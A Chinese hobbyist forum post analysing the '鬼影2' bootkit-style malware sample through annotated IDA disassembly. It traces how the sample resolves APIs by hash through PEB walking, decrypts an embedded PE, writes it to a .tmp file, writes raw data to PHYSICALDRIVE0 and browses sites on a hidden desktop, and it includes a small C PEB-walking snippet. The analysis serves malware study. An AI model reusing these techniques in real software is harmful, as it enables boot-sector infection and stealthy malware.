工具:ida,od,msdn,ie,计算器
名称:鬼影2
内容:pe结构,api,和常见的系统知识。。。。。
感谢:论坛,x-man(一个经常为大家上传病毒样本的好人)以及群主。。
上传:样本,分析笔记(不是很详细),idb(这个还相对详细),释放源文件以及脱壳后的文件
*************************************************
菜菜简单析毒:(我附上所有的东西。。俺分析的肯定是不足的,花了2天的时间,但如果想把这个弄好,对于我还得很多天,还得努力。所以错误肯定是有的,但我学习为主,毕竟这方面,我仅仅是爱好。。。
)
概要:
主体:释放一个文件
释放文件: 真正作用的部分看后面
本次分析只是 清明节时,无聊干得,还是有很多地方没弄懂的。。抱着学习的态度来的,笔记就发上来了,目的只为理解程序的处理思路。
释放文件部分写的不那么详细了,一方面太多了,另一方面能力有限。。。(本来考虑发不发上来的,算了,发上来给像我一样的菜菜们。。。呵呵。。所有详细东西看idb)
附:具体的东西 都会通过附件上传。。。给想看的人,比如像我一样的菜菜。。(原样本都在后面上传了。。给想练的人。。)
**********************************
内容有点多,贴出来后,看的会很不舒服。。所以只是贴出了程序的流程部分代码,还有具体的如果贴出来就太长了,想看的看上传的两份idb。。。呵呵。。。
**********************************
部分分析如下:
81 EC BC 00 00 00 sub esp, 0BCh
.text:00401CC6 56 push esi
.text:00401CC7 57 push edi
.text:00401CC8 33 F6 xor esi, esi
.text:00401CCA B9 26 00 00 00 mov ecx, 26h
.text:00401CCF 33 C0 xor eax, eax
.text:00401CD1 8D 7C 24 10 lea edi, [esp+0C4h+VersionInformation.dwMajorVersion]
.text:00401CD5 89 74 24 0C mov [esp+0C4h+VersionInformation.dwOSVersionInfoSize], esi
.text:00401CD9 89 74 24 08 mov [esp+0C4h+ThreadId], esi
.text:00401CDD F3 AB rep stosd
.text:00401CDF FF 15 F4 60 40 00 call ds:GetInputState
.text:00401CE5 56 push esi ; lParam
.text:00401CE6 56 push esi ; wParam
.text:00401CE7 56 push esi ; Msg
.text:00401CE8 FF 15 38 60 40 00 call ds:GetCurrentThreadId
.text:00401CEE 50 push eax ; idThread
.text:00401CEF FF 15 F0 60 40 00 call ds:PostThreadMessageA
.text:00401CF5 56 push esi ; wMsgFilterMax
.text:00401CF6 56 push esi ; wMsgFilterMin
.text:00401CF7 8D 84 24 B0 00 00+lea eax, [esp+0CCh+Msg]
.text:00401CFE 56 push esi ; hWnd
.text:00401CFF 50 push eax ; lpMsg
.text:00401D00 FF 15 FC 60 40 00 call ds:GetMessageA
.text:00401D06 E8 45 FD FF FF call sub_401A50 ;关键call
**********************
上面的部分很简单,有些调用没什么用感觉,如果谁知道,告诉菜菜。。
**********************
00401A8E 6A 00 push 0 ; lpsa
.text:00401A90 68 00 00 00 10 push 10000000h ; dwDesiredAccess
.text:00401A95 6A 01 push 1 ; dwFlags
.text:00401A97 66 AB stosw
.text:00401A99 6A 00 push 0 ; pDevmode
.text:00401A9B 8D 4C 24 24 lea ecx, [esp+23Ch+szDesktop]
.text:00401A9F 6A 00 push 0 ; lpszDevice
.text:00401AA1 51 push ecx ; lpszDesktop
.text:00401AA2 89 54 24 34 mov [esp+244h+var_210], edx
.text:00401AA6 AA stosb
.text:00401AA7 FF 15 00 61 40 00 call ds:CreateDesktopA ; 创建第二桌面,至于为什么下面可以看到
.text:00401AAD 8B F0 mov esi, eax
.text:00401AAF 89 74 24 10 mov [esp+22Ch+hDesktop], esi
.text:00401AB3 FF 15 38 60 40 00 call ds:GetCurrentThreadId
.text:00401AB9 50 push eax ; dwThreadId
.text:00401ABA FF 15 F8 60 40 00 call ds:GetThreadDesktop
.text:00401AC0 56 push esi ; hDesktop
.text:00401AC1 FF 15 EC 60 40 00 call ds:SetThreadDesktop ; 上面的操作就是把当前的线程附加到自己创建的桌面上运行
.text:00401AC7 8B 35 0C 61 40 00 mov esi, ds:DeleteUrlCacheEntry
**********************
检重点的说:
看这个call
**********************
E8 6B FD FF FF call sub_401910 ;关键跟进,看看什么行为
.text:00401BA5 83 C4 08 add esp, 8
.text:00401BA8 8B F0 mov esi, eax
.text:00401BAA 8D 84 24 28 01 00+lea eax, [esp+22Ch+FileName]
.text:00401BB1 50 push eax ; lpFileName
.text:00401BB2 6A 00 push 0 ; nDefault
.text:00401BB4 68 74 EB 40 00 push offset aPopspacingdela ; "PopSpacingDelayTime"
.text:00401BB9 68 94 EB 40 00 push offset AppName ; "Pop"
.text:00401BBE FF D5 call ebp ; GetPrivateProfileIntA
.text:00401BC0 8D 04 80 lea eax, [eax+eax*4]
.text:00401BC3 8D 04 80 lea eax, [eax+eax*4]
.text:00401BC6 8D 0C 80 lea ecx, [eax+eax*4]
.text:00401BC9 C1 E1 03 shl ecx, 3
.text:00401BCC 51 push ecx ; dwMilliseconds
.text:00401BCD FF 15 34 60 40 00 call ds:Sleep
.text:00401BD3 6A 00 push 0 ; uExitCode
.text:00401BD5 56 push esi ; hProcess
.text:00401BD6 FF 15 28 60 40 00 call ds:TerminateProcess
.text:00401BDC
.text:00401BDC loc_401BDC: ; CODE XREF: sub_401A50+144_j
.text:00401BDC 83 FB 64 cmp ebx, 64h
.text:00401BDF 0F 8C 4E FF FF FF jl loc_401B33 ; 这里就体现了,一系列访问。。
.text:00401BDF ; 这些地方都比较明显,一看就基本知道
.text:00401BDF ; 但他用虚拟桌面进行访问,还是可以学习到东东的
**************************
跟进call
*************************
.text:00401A00 51 push ecx
.text:00401A01 68 38 EB 40 00 push offset aSS ; "\"%s\" \"%s\""
.text:00401A06 52 push edx ; LPSTR
.text:00401A07 FF 15 E8 60 40 00 call ds:wsprintfA ; 格式化要访问的东西和地址,od跑起来就看得到
.text:00401A0D 83 C4 10 add esp, 10h
.text:00401A10 8D 44 24 10 lea eax, [esp+364h+ProcessInformation]
.text:00401A14 8D 4C 24 20 lea ecx, [esp+364h+StartupInfo]
.text:00401A18 50 push eax ; lpProcessInformation
.text:00401A19 51 push ecx ; lpStartupInfo
.text:00401A1A 53 push ebx ; lpCurrentDirectory
.text:00401A1B 53 push ebx ; lpEnvironment
.text:00401A1C 68 00 00 00 04 push 4000000h ; dwCreationFlags
.text:00401A21 53 push ebx ; bInheritHandles
.text:00401A22 53 push ebx ; lpThreadAttributes
.text:00401A23 8D 94 24 80 01 00+lea edx, [esp+380h+CommandLine]
.text:00401A2A 53 push ebx ; lpProcessAttributes
.text:00401A2B 52 push edx ; lpCommandLine
.text:00401A2C 53 push ebx ; lpApplicationName
.text:00401A2D FF 15 14 60 40 00 call ds:CreateProcessA ; 上面一系列的操作就是,在自己创建的桌面上
.text:00401A2D ; 创建进程,然后访问偶们列表中的网点
看图 当执行进程时:
下面的那个网页会不断地下载,变化
**************************
这里下载的东西只是放着,后面我们就看到怎么用
**************************
很简单的东西ida上有详细解释,只看重点
**************************
8D 54 24 08 lea edx, [esp+0C4h+ThreadId]
.text:00401D50 52 push edx ; lpThreadId
.text:00401D51 56 push esi ; dwCreationFlags
.text:00401D52 56 push esi ; lpParameter
.text:00401D53 68 70 14 40 00 push offset StartAddress ; lpStartAddress
.text:00401D58 56 push esi ; dwStackSize
.text:00401D59 56 push esi ; lpThreadAttributes
.text:00401D5A FF 15 50 60 40 00 call ds:CreateThread
.text:00401D60 8B F0 mov esi, eax
.text:00401D62 6A FF push 0FFFFFFFFh ; dwMilliseconds
.text:00401D64 56 push esi ; hHandle
.text:00401D65 FF 15 4C 60 40 00 call ds:WaitForSingleObject
.text:00401D6B 56 push esi ; hObject
.text:00401D6C FF 15 00 60 40 00 call ds:CloseHandle
.text:00401D72 E8 89 FE FF FF call sub_401C00
.text:00401D77 5F pop edi
.text:00401D78 33 C0 xor eax, eax
******************************
跟进线程处理的地方
*****************************
text:004015BD B0 6C mov al, 6Ch
.text:004015BF 68 92 41 86 2E push 2E864192h
.text:004015C4 C6 44 24 36 2E mov [esp+4ACh+var_476], 2Eh
.text:004015C9 C6 44 24 37 64 mov [esp+4ACh+var_475], 64h
.text:004015CE 88 44 24 38 mov [esp+4ACh+var_474], al
.text:004015D2 88 44 24 39 mov [esp+4ACh+var_473], al
.text:004015D6 88 5C 24 3A mov [esp+4ACh+var_472], bl
.text:004015DA E8 21 FA FF FF call sub_401000 ; 找kernel模块基地址
.text:004015DF 50 push eax
.text:004015E0 E8 4B FA FF FF call sub_401030 ; 找到2E864192h 对应的项地址,用OD动态解析后其实就是
.text:004015E0 ; 7C801D77 :loadLibrary
.text:004015E5 83 C4 08 add esp, 8
.text:004015E8 8D 4C 24 2C lea ecx, [esp+4A8h+var_47C] ; msvcrt.dll
.text:004015EC A3 64 10 41 00 mov AdrLoadLibrary, eax
.text:004015F1 68 0B 34 9B FD push 0FD9B340Bh
.text:004015F6 51 push ecx
.text:004015F7 FF D0 call eax ; 加载msvcrt.dll
.text:004015F9 50 push eax
.text:004015FA E8 31 FA FF FF call sub_401030 ; 同样找msvcrt.dll中0fd9b340bh对应项数的地址,用OD动态解析后就是:
.text:004015FA ; 77BFC407 malloc
.text:004015FF 83 C4 08 add esp, 8
***********************
跟进一个call sub_401000
***********************
var_4= dword ptr -4
.text:00401000
.text:00401000 55 push ebp
.text:00401001 8B EC mov ebp, esp
.text:00401003 51 push ecx
.text:00401004 53 push ebx
.text:00401005 33 DB xor ebx, ebx
.text:00401007 64 8B 1D 30 00 00+mov ebx, large fs:30h ; PEB结构地址(进程结构)
.text:00401007 00 ;
.text:0040100E 8B 5B 0C mov ebx, [ebx+0Ch] ; 得到PEB_LDR_DATA结构地址
.text:00401011 8B 5B 14 mov ebx, [ebx+14h] ; : _LIST_ENTRY
.text:00401014 8B 1B mov ebx, [ebx] ; 如果想详细了解,后面会给解释
.text:00401016 8B 1B mov ebx, [ebx]
.text:00401018 8B 5B 10 mov ebx, [ebx+10h]
.text:0040101B 89 5D FC mov [ebp+var_4], ebx
.text:0040101E 8B 45 FC mov eax, [ebp+var_4] ; 找到kernel.dll 基质返回
.text:00401021 5B pop ebx
.text:00401022 8B E5 mov esp, ebp
.text:00401024 5D pop ebp
.text:00401025 C3 retn
.text:00401025 sub_401000 endp
**********************
给出解释
#include "stdafx.h"
#include "windows.h"
#include "winsvc.h"
int _tmain(int argc, _TCHAR* argv[])
{
void *PEB = NULL,
*Ldr = NULL,
*Flink = NULL,
*p = NULL,
*BaseAddress = NULL,
*FullDllName = NULL;
__asm
{
mov eax,fs:[0x30]
mov PEB,eax
}
Ldr = *( ( void ** )( ( unsigned char * )PEB+0x0c ) );
Flink = *( ( void ** )( ( unsigned char * )Ldr+ 0x14 ) );
p = Flink;
do
{
BaseAddress = *( ( void ** )( ( unsigned char * )p+ 0x10 ) );
printf("BaseAddress is %x\n",BaseAddress);
p = *( ( void ** )p);
}
while ( Flink != p );
getchar();
return 0;
}
我们看输出就可以知道了:他加载的顺序:
顺序Ntdll.dll,kernel.dll
明白没,呵呵 很简单吧。。。还可以直接windbg 查看。。。
跟进 第二个call sub_401030
55 push ebp
.text:00401031 8B EC mov ebp, esp
.text:00401033 83 EC 18 sub esp, 18h
.text:00401036 53 push ebx
.text:00401037 56 push esi
.text:00401038 8B 75 08 mov esi, [ebp+kernelbase]
.text:0040103B 57 push edi
.text:0040103C 8B 46 3C mov eax, [esi+3Ch] ; e_lfanew
.text:0040103F 8B 44 30 78 mov eax, [eax+esi+78h] ; DataDirectory[0] Export Table
.text:00401043 03 C6 add eax, esi ; Ex table vA
.text:00401045 8B 48 1C mov ecx, [eax+1Ch] ; AddressOfFunctions
.text:00401048 8B 50 24 mov edx, [eax+24h] ; AddressOfNameOrdinals
.text:0040104B 8B 58 18 mov ebx, [eax+18h] ; NumberOfNames
.text:0040104E 03 CE add ecx, esi
.text:00401050 89 4D E8 mov [ebp+AddrFunctioinArray], ecx
.text:00401053 8B 48 20 mov ecx, [eax+20h] ; AddressOfNames
.text:00401056 03 CE add ecx, esi
.text:00401058 03 D6 add edx, esi
.text:0040105A 85 DB test ebx, ebx
.text:0040105C 89 55 EC mov [ebp+addrNameOridArray], edx
.text:0040105F 0F 86 8F 00 00 00 jbe loc_4010F4
.text:00401065 8D 04 99 lea eax, [ecx+ebx*4] ; Names数组中地位到最后一项的后面
.text:00401068 EB 03 jmp short loc_40106D
.text:0040106A ; ----------------------------------
。。。。。
D loc_4010FD: ; CODE XREF: sub_401030+C2j
.text:004010FD 8B 55 EC mov edx, [ebp+addrNameOridArray] ; 找到我们输入的项数以后 取出地址
.text:00401100 8B 45 E8 mov eax, [ebp+AddrFunctioinArray]
.text:00401103 33 C9 xor ecx, ecx
.text:00401105 5F pop edi
.text:00401106 66 8B 0C 5A mov cx, [edx+ebx*2]
.text:0040110A 8B 04 88 mov eax, [eax+ecx*4]
.text:0040110D 03 C6 add eax, esi ;存放地址返回
都是对pe文件的操作。。。多看会,有好处,你懂的。。。。
C A3 64 10 41 00 mov AdrLoadLibrary, eax
.text:004015F1 68 0B 34 9B FD push 0FD9B340Bh
.text:004015F6 51 push ecx
.text:004015F7 FF D0 call eax ; 加载msvcrt.dll
.text:004015F9 50 push eax
.text:004015FA E8 31 FA FF FF call sub_401030 ; 同样找msvcrt.dll中0fd9b340bh对应项数的地址,用OD动态解析后就是:
.text:004015FA ; 77BFC407 malloc
.text:004015FF 83 C4 08 add esp, 8
.text:00401602 8D 94 24 A0 00 00+lea edx, [esp+4A8h+CurrentDeskTopPath]
.text:00401609 A3 68 10 41 00 mov addrMalloc, eax
.text:0040160E 53 push ebx ; fCreate
.text:0040160F 6A 37 push 37h ; csidl
.text:00401611 52 push edx ; pszPath
.text:00401612 53 push ebx ; hwnd
.text:00401613 FF 15 E0 60 40 00 call ds:SHGetSpecialFolderPathA ; 获取当前桌面的目录路劲
.text:00401619 6A 78 push 78h
.text:0040161B 6A 63 push 63h
.text:0040161D E8 FE FA FF FF call sub_401120 ; 随机数生成函数
.text:00401622 83 C4 08 add esp, 8
看看此call sub_401120
.text:00401161 E8 9A FE FF FF call sub_401000 ; 获取kernel模块基地址
.text:00401166 50 push eax
.text:00401167 E8 C4 FE FF FF call sub_401030 ; 获取LoadLibrary地址
.text:0040116C 83 C4 08 add esp, 8
.text:0040116F A3 64 10 41 00 mov AdrLoadLibrary, eax
.text:00401174 68 A0 7D 33 8A push 8A337DA0h
.text:00401179 E8 82 FE FF FF call sub_401000
.text:0040117E 50 push eax
.text:0040117F E8 AC FE FF FF call sub_401030 ; 同样的方式获取GetTickCount地址
.text:00401184 83 C4 08 add esp, 8
.text:00401187 A3 60 10 41 00 mov addrGetTickCount, eax
.text:0040118C 8D 44 24 08 lea eax, [esp+14h+msvcrt.dll]
.text:00401190 68 F2 B0 9B 0C push 0C9BB0F2h
.text:00401195 50 push eax
.text:00401196 FF 15 64 10 41 00 call AdrLoadLibrary
.text:0040119C 50 push eax
.text:0040119D E8 8E FE FF FF call sub_401030 ; 获取0C9BB0f2h标志在Msrcvt模块中对应的函数地址
.text:0040119D ; 77C071D3:Rand函数
.text:004011A2 83 C4 08 add esp, 8
.text:004011A5 8D 4C 24 08 lea ecx, [esp+10h+var_8]
.text:004011A9 A3 58 10 41 00 mov addrRand, eax
.text:004011AE 68 79 79 D8 4D push 4DD87979h
.text:004011B3 51 push ecx
.text:004011B4 FF 15 64 10 41 00 call AdrLoadLibrary
.text:004011BA 50 push eax
.text:004011BB E8 70 FE FF FF call sub_401030 ; 同样获取msvcrt中 sRand函数地址
.text:004011C0 8B 7C 24 20 mov edi, [esp+1Ch+arg_0]
.text:004011C4 8B 74 24 24 mov esi, [esp+1Ch+arg_4]
.text:004011C8 83 C4 08 add esp, 8
.text:004011CB 3B FE cmp edi, esi
.text:004011CD A3 5C 10 41 00 mov addrsRand, eax
.text:004011D2 75 08 jnz short loc_4011DC
.text:004011D4 8B C7 mov eax, edi
.text:004011D6 5F pop edi
.text:004011D7 5E pop esi
.text:004011D8 83 C4 0C add esp, 0Ch
.text:004011DB C3 retn
.text:004011DC ; ---------------------------------------------------------------------------
.text:004011DC
.text:004011DC loc_4011DC: ; CODE XREF: sub_401120+B2j
.text:004011DC FF 15 60 10 41 00 call addrGetTickCount
.text:004011E2 50 push eax
.text:004011E3 FF 15 5C 10 41 00 call addrsRand
.text:004011E9 83 C4 04 add esp, 4
.text:004011EC FF 15 58 10 41 00 call addrRand
.text:004011F2 83 C0 03 add eax, 3 ; 利用时间随机生成数,很通用的手法,呵呵。。
.text:004011F5 2B F7 sub esi, edi
.text:004011F7 99 cdq
.text:004011F8 46 inc esi
.text:004011F9 F7 FE idiv esi
.text:004011FB 8B C2 mov eax, edx
.text:004011FD 03 C7 add eax, edi
.text:004011FF 5F pop edi
.text:00401200 5E pop esi
.text:00401201 83 C4 0C add esp, 0Ch
.text:00401204 C3 retn
.text:00401204 sub_401120 endp
.text:00401204
.text:0040161D E8 FE FA FF FF call sub_401120 ; 随机数生成函数
.text:00401622 83 C4 08 add esp, 8
.text:00401625 50 push eax
.text:00401626 6A 79 push 79h
.text:00401628 6A 62 push 62h
.text:0040162A E8 F1 FA FF FF call sub_401120
.text:0040162F 83 C4 08 add esp, 8
.text:00401632 50 push eax
.text:00401633 6A 7A push 7Ah
.text:00401635 6A 61 push 61h
.text:00401637 E8 E4 FA FF FF call sub_401120 ; 生成三个随机数
.text:0040163C 83 C4 08 add esp, 8
.text:0040163F 8D 4C 24 40 lea ecx, [esp+4B0h+var_470] ; 数据:堆栈地址=013BFB48, (ASCII "\%s%c%c%c.tmp")
.text:0040163F ;
.text:0040163F ;
.text:00401643 8D 94 24 AC 01 00+lea edx, [esp+4B0h+tmpString2] ; 后面格式化保存地方
.text:0040164A 50 push eax
.text:0040164B 8D 44 24 1C lea eax, [esp+4B4h+var_498] ; TVC 前面局部变量
.text:0040164F 50 push eax
.text:00401650 51 push ecx ; LPCSTR
.text:00401651 52 push edx ; LPSTR
.text:00401652 FF 15 E8 60 40 00 call ds:wsprintfA ; 格式化 生成 013BFCB4 ASCII "\TVClhe.tmp" 后面三个数
.text:00401652 ; 格式化为字符
8C 24 A0 00 00+lea ecx, [esp+4A8h+CurrentDeskTopPath]
.text:00401669 50 push eax ; lpString2
.text:0040166A 51 push ecx ; lpString1
.text:0040166B FF 15 1C 60 40 00 call ds:lstrcatA ; 和桌面路径结合生成路径
.text:0040166B ; "C:\Documents and Settings
.text:0040166B ; \All Users\Documents\My Videos\TVClhe.tmp"
.text:0040166B ;
.text:0040166B ;
.text:00401671 68 00 78 00 00 push 7800h ; _DWORD
.text:00401676 FF 15 68 10 41 00 call addrMalloc
.text:0040167C 83 C4 04 add esp, 4
.text:0040167F 8B E8 mov ebp, eax
.text:00401681 B9 00 1E 00 00 mov ecx, 1E00h
.text:00401686 33 C0 xor eax, eax
.text:00401688 53 push ebx ; hTemplateFile
.text:00401689 68 80 00 00 10 push 10000080h ; dwFlagsAndAttributes
.text:0040168E 6A 03 push 3 ; dwCreationDisposition
.text:00401690 53 push ebx ; lpSecurityAttributes
.text:00401691 8B FD mov edi, ebp
.text:00401693 6A 03 push 3 ; dwShareMode
.text:00401695 8D 54 24 2C lea edx, [esp+4BCh+FileName]
.text:00401699 68 00 00 00 C0 push 0C0000000h ; dwDesiredAccess
.text:0040169E F3 AB rep stosd
.text:004016A0 52 push edx ; lpFileName
.text:004016A1 FF 15 10 60 40 00 call ds:CreateFileA ; 打开物理设备PHYSICALDRIVE0
.text:004016A1 ; :注释 一般\\.\PHYSICALDRIVE0可以表示
.text:004016A1 ; 主机硬盘,通过createfile,和readfile可以读取信息
.text:004016A1 ; 又啰嗦了一下
不解释
.text:004016B0 0F 84 40 02 00 00 jz loc_4018F6
.text:004016B6 53 push ebx ; dwMoveMethod
.text:004016B7 53 push ebx ; lpDistanceToMoveHigh
.text:004016B8 53 push ebx ; lDistanceToMove
.text:004016B9 56 push esi ; hFile
.text:004016BA FF 15 0C 60 40 00 call ds:SetFilePointer ; 开始处进行准备定位读取
.text:004016C0 83 F8 FF cmp eax, 0FFFFFFFFh
.text:004016C3 0F 84 26 02 00 00 jz loc_4018EF
.text:004016C9 8D 44 24 14 lea eax, [esp+4A8h+NumberOfBytesRead]
.text:004016CD 53 push ebx ; lpOverlapped
.text:004016CE 50 push eax ; lpNumberOfBytesRead
.text:004016CF 68 00 78 00 00 push 7800h ; nNumberOfBytesToRead
.text:004016D4 55 push ebp ; lpBuffer
.text:004016D5 56 push esi ; hFile
.text:004016D6 FF 15 08 60 40 00 call ds:ReadFile ; 同样读取7800h 到开辟的空间
.text:004016DC 8A 4D 0A mov cl, [ebp+0Ah]
.text:004016DF A0 3A 70 40 00 mov al, byte ptr word_40703A
.text:004016E4 3A C8 cmp cl, al
.text:004016E6 75 1D jnz short loc_401705 ; 取硬盘信息中第oah字节,比较
.text:004016E6 ; 一般不相等,先看看后面再说
.text:004016E8 8A 55 0B mov dl, [ebp+0Bh]
.text:004016EB A0 3B 70 40 00 mov al, byte ptr word_40703A+1
.text:004016F0 3A D0 cmp dl, al
.text:004016F2 75 11 jnz short loc_401705
.text:004016F4 8A 45 0C mov al, [ebp+0Ch]
很明了不解释
.text:0040170A loc_40170A: ; CODE XREF: StartAddress+2BCj
.text:0040170A 8A 86 30 70 40 00 mov al, byte_407030[esi]
.text:00401710 3A C3 cmp al, bl
.text:00401712 74 11 jz short loc_401725
.text:00401714 6A 69 push 69h
.text:00401716 50 push eax
.text:00401717 E8 24 FB FF FF call sub_401240 ; 相当于每次循环右移动9位,相当于解密数据,
.text:00401717 ; 后面口以看到,慢慢来哈
.text:0040171C 83 C4 08 add esp, 8
.text:0040171F 88 86 30 70 40 00 mov byte_407030[esi], al ; 比较原程序中的数据如果不是0 则处理一下放入原来位置处
.text:00401725
.text:00401725 loc_401725: ; CODE XREF: StartAddress+2A2j
.text:00401725 46 inc esi
.text:00401726 81 FE 00 78 00 00 cmp esi, 7800h
.text:0040172C 72 DC jb short loc_40170A
.text:0040172E BF 00 04 00 00 mov edi, 400h
.text:00401733
.text:00401733 loc_401733: ; CODE XREF: StartAddress+2DDj
.text:00401733 BA 34 EB 40 00 mov edx, offset aMz ; 解密数据后,相当于一个pe二进制数据,下面寻找pe头
.text:00401738 8D 8F 30 70 40 00 lea ecx, byte_407030[edi]
.text:0040173E 66 8B 02 mov ax, [edx]
.text:00401741 66 3B 01 cmp ax, [ecx]
.text:00401744 74 09 jz short loc_40174F
将原来exe文件中的pe二进制写入tmp文件,最后的行为都是通过tmp文件产生的
xt:0040177F 53 push ebx ; lpOverlapped
.text:00401780 52 push edx ; lpNumberOfBytesWritten
.text:00401781 8D 87 30 70 40 00 lea eax, byte_407030[edi]
.text:00401787 68 00 6E 00 00 push 6E00h ; nNumberOfBytesToWrite
.text:0040178C 50 push eax ; lpBuffer
.text:0040178D 56 push esi ; hFile
.text:0040178E FF 15 04 60 40 00 call ds:WriteFile ; 将得到的二进制pe数据写入TVClhe.tmp文件中去
.text:00401794 56 push esi ; hObject
.text:00401795 FF 15 00 60 40 00 call ds:CloseHandle
ext:004017B6 74 11 jz short loc_4017C9
.text:004017B8 6A 69 push 69h
.text:004017BA 50 push eax
.text:004017BB E8 50 FA FF FF call sub_401210 ; 此处向左循环移位69h,还原数据
.text:004017C0 83 C4 08 add esp, 8
.text:004017C3 88 86 30 70 40 00 mov byte_407030[esi], al
.text:004017C9
text:004017EA 53 push ebx ; lDistanceToMove
.text:004017EB 56 push esi ; hFile
.text:004017EC FF 15 0C 60 40 00 call ds:SetFilePointer ; 定位磁盘中的位置准备写入。。太邪恶了
.text:004017F2 83 F8 FF cmp eax, 0FFFFFFFFh
.text:004017F5 74 17 jz short loc_40180E
.text:004017F7 8D 4C 24 14 lea ecx, [esp+4A8h+NumberOfBytesRead]
.text:004017FB 53 push ebx ; lpOverlapped
.text:004017FC 51 push ecx ; lpNumberOfBytesWritten
.text:004017FD 68 00 78 00 00 push 7800h ; nNumberOfBytesToWrite
.text:00401802 68 30 70 40 00 push offset byte_407030 ; lpBuffer
.text:00401807 56 push esi ; hFile
.text:00401808 FF 15 04 60 40 00 call ds:WriteFile ; 写入7800h字节 估计就是破坏磁盘系统,不敢跑,其实不是
.text:00401808 ; 后面就可以看到了,他还有其他作用
.text:0040180E
.text:0040180E loc_40180E: ; CODE XREF: StartAddress+385j
.text:00401818 E8 79 05 00 00 call sub_401D96 ; 释放空间
.text:0040181D 83 C4 04 add esp, 4
.text:00401820 8D 54 24 18 lea edx, [esp+4A8h+FileName]
.text:00401824 53 push ebx ; hTemplateFile
.text:00401825 68 80 00 00 10 push 10000080h ; dwFlagsAndAttributes
.text:0040182A 6A 03 push 3 ; dwCreationDisposition
.text:0040182C 53 push ebx ; lpSecurityAttributes
.text:0040182D 6A 03 push 3 ; dwShareMode
.text:0040182F 68 00 00 00 C0 push 0C0000000h ; dwDesiredAccess
.text:00401834 52 push edx ; lpFileName
.text:00401835 FF 15 10 60 40 00 call ds:CreateFileA ; 继续打开磁盘
.text:0040183B 8B F0 mov esi, eax
.text:0040183D 83 FE FF cmp esi, 0FFFFFFFFh
.text:00401840 74 2C jz short loc_40186E
.text:00401842 53 push ebx ; dwMoveMethod
.text:00401843 53 push ebx ; lpDistanceToMoveHigh
.text:00401844 53 push ebx ; lDistanceToMove
.text:00401845 56 push esi ; hFile
.text:00401846 FF 15 0C 60 40 00 call ds:SetFilePointer ; 定位开始位置,begin
.text:0040184C 83 F8 FF cmp eax, 0FFFFFFFFh
.text:0040184F 74 1D jz short loc_40186E
.text:00401851 8D 44 24 14 lea eax, [esp+4A8h+NumberOfBytesRead]
.text:00401855 53 push ebx ; lpOverlapped
.text:00401856 50 push eax ; lpNumberOfBytesRead
.text:00401857 8D 8C 24 B0 02 00+lea ecx, [esp+4B0h+Buffer]
.text:0040185E 68 00 02 00 00 push 200h ; nNumberOfBytesToRead
.text:00401863 51 push ecx ; lpBuffer
.text:00401864 56 push esi ; hFile
.text:00401865 FF 15 08 60 40 00 call ds:ReadFile ; 读出512个字节,就是刚才写入的
.text:0040186B 56 push esi ; hObject
.text:0040186C FF D7 call edi ; CloseHandle
.text:0040186E 80 BC 24 A8 02 00+cmp [esp+4A8h+Buffer], 72h ; 此处检验刚才写入磁盘中的数据是否成功
.text:0040186E 00 72 ; 有张图片可以看一下,由于磁盘中的数据,
.text:0040186E ; 本省就是从exe中的,直接计算出exe地址
.text:0040186E ; 为0x004070a3看数据就明白了
.text:00401876 75 7E jnz short loc_4018F6
.text:00401878 80 BC 24 A9 02 00+cmp [esp+4A8h+var_1FF], 3
检验开始(在后面也会遇到,就是tmp文件中也会检测)
看图片:
&&&
:004018A7 52 push edx ; lpStartupInfo
.text:004018A8 C7 44 24 60 44 00+mov [esp+4ACh+StartupInfo.cb], 44h
.text:004018B0 FF 15 18 60 40 00 call ds:GetStartupInfoA
.text:004018B6 8D 44 24 4C lea eax, [esp+4A8h+ProcessInformation]
.text:004018BA 8D 4C 24 5C lea ecx, [esp+4A8h+StartupInfo]
.text:004018BE 50 push eax ; lpProcessInformation
.text:004018BF 51 push ecx ; lpStartupInfo
.text:004018C0 53 push ebx ; lpCurrentDirectory
.text:004018C1 53 push ebx ; lpEnvironment
.text:004018C2 53 push ebx ; dwCreationFlags
.text:004018C3 53 push ebx ; bInheritHandles
.text:004018C4 53 push ebx ; lpThreadAttributes
.text:004018C5 8D 94 24 BC 00 00+lea edx, [esp+4C4h+CurrentDeskTopPath]
.text:004018CC 53 push ebx ; lpProcessAttributes
.text:004018CD 52 push edx ; lpCommandLine
.text:004018CE 53 push ebx ; lpApplicationName
.text:004018CF 66 89 9C 24 B4 00+mov [esp+4D0h+StartupInfo.wShowWindow], bx
.text:004018D7 FF 15 14 60 40 00 call ds:CreateProcessA ; 如果已经检验成功,就执行刚才生成的刚才的那个
.text:004018D7 ; 桌面文件进程 以.tmp 文件执行进程,第一次听说过。。
.text:004018D7 ; 但却是是这样运行的
.text:004018DD 5F pop edi
.text:004018DE 5E pop esi
以上就是主体:详细可以看ida pack。。
将后缀tmp 改为exe 脱壳 进行调试:
接着看看 释放文件:(只看重要部分,详细的写不起。。。见idb)
.text:0040AA30 E8 5B 04 00 00 call sub_40AE90 ; 直接自己装载自己要用的函数地址
.text:0040AA35 FF 15 30 C2 40 00 call GetInputState ; 获取调用线程有没有键盘鼠标消息,感觉没啥用
.text:0040AA35 ; ,知道的大大告诉俺一下
.text:0040AA3B 53 push ebx ; _DWORD
.text:0040AA3C 53 push ebx ; _DWORD
.text:0040AA3D 53 push ebx ; _DWORD
.text:0040AA3E FF 15 D4 C1 40 00 call addrGetCurrentThreadId
.text:0040AA44 50 push eax ; _DWORD
.text:0040AA45 FF 15 34 C2 40 00 call addrPostThreadMessageA ; 向线程发空消息
.text:0040AA45 ; 注释:发送一个空消息是激发消息循环马上工作
.text:0040AA4B 53 push ebx ; _DWORD
.text:0040AA4C 53 push ebx ; _DWORD
.text:0040AA4D 8D 44 24 58 lea eax, [esp+6C8h+var_670]
.text:0040AA51 53 push ebx ; _DWORD
.text:0040AA52 50 push eax ; _DWORD
.text:0040AA53 FF 15 38 C2 40 00 call addrGetMessageA ; 将消息取出,感觉他就是为了是循环活动起来
.text:0040AA53 ; ,但并不影响我的分析
.text:0040AA59 53 push ebx ; bShow
.text:0040AA5A FF 15 9C 11 40 00 call ShowCursor ; 将鼠标隐藏
.text:0040AA5A ; 注释:为了方便调试,先修改ebx,过去在还原
.text:0040AA5A ; 又多话了。。。
.text:0040AA60 68 D0 07 00 00 push 7D0h ; _DWORD
.text:0040AA65 FF 15 50 C1 40 00 call addrsSleep
.text:0040AB81 53 push ebx ; _DWORD 下面开始 是一系列的线程创建
.text:0040AB82 53 push ebx ; _DWORD
.text:0040AB83 53 push ebx ; _DWORD
.text:0040AB84 68 20 7E 40 00 push offset sub_407E20 ; 生成文件
.text:0040AB89 53 push ebx ; _DWORD
.text:0040AB8A 53 push ebx ; _DWORD
